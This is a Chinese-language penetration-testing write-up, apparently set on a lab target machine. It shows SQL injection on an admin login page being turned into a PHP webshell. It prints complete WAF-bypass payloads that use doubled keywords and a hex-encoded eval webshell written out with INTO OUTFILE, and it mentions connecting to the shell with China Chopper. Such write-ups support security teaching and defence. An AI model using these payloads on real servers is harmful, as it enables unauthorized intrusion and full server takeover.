文章总结: 本文介绍了如何利用十六进制编码绕过WAF过滤,实现SQL注入并上传webshell的实战过程。作者首先发现企业网站登录页面存在SQL注入漏洞,尝试直接写入一句话木马失败后,通过将木马代码转换为十六进制编码成功绕过了WAF过滤,最终获取服务器权限。文章详细展示了从漏洞发现到利用的完整技术流程,为安全研究人员提供了实用的绕过技术参考。
综合评分: 85
文章分类: 渗透测试,WEB安全,漏洞分析
从注入到Shell:记一次绕过WAF过滤的十六进制上传木马实战
原创
升斗安全XiuXiu
升斗安全
2025年11月20日 18:40
广东
【文章说明】
- 目的:本文内容仅为网络安全技术研究与教育目的而创作。
- 红线:严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
- 责任:任何对本文技术的滥用所引发的后果自负,与本公众号及作者无关。
- 免责:内容仅供参考,作者不对其准确性、完整性作任何担保。
阅读即代表您同意以上条款。
遇到SQL注入却因为特殊符号被过滤而无法写入木马?本文将带你实战演练,如何巧妙地利用十六进制编码绕过限制,最终成功“拿下”目标服务器。
启动靶机并访问目标链接,发现是一个企业网站系统。
很快定位到登录页面:/admin/login.php。
对参数进行初步测试,发现用户名字段存在 SQL 注入漏洞:
- 输入 admin’ 时页面报错
- 输入 admin’ or 1=1 # 则不再报错
接下来,尝试通过 SQL 注入写入一句话木马。
使用 Burp Suite 拦截登录请求,将用户名参数修改为:
1' uni union on selselectect '<?php @eval($_POST[cmd])?>',2,3,4,5 in into outoutfilefile '/var/www/html/shell.php'--%20
提交请求后访问 shell.php,发现一句话木马并未成功写入。
检查返回内容,发现 < 和 > 被过滤,尝试 URL 编码绕过也未能成功。
于是改用十六进制编码绕过:
先将一句话木马 转为十六进制形式,具体如下:
再次拦截请求,将用户名参数修改为转换后的内容:
1' uni union on selselectect 0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e,2,3,4,5 in into outoutfilefile '/var/www/html/shell2.php'--%20
提交请求,成功在服务器生成 shell2.php。
最后使用中国菜刀连接,就能顺利获取到服务器资源内容啦。
如果觉得以上内容对你有用或是有一点点启发的话,别忘了给我一键三连(点赞、分享、关注)哈,你的三连,对我很重要!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:升斗安全 升斗安全XiuXiu《从注入到Shell:记一次绕过WAF过滤的十六进制上传木马实战》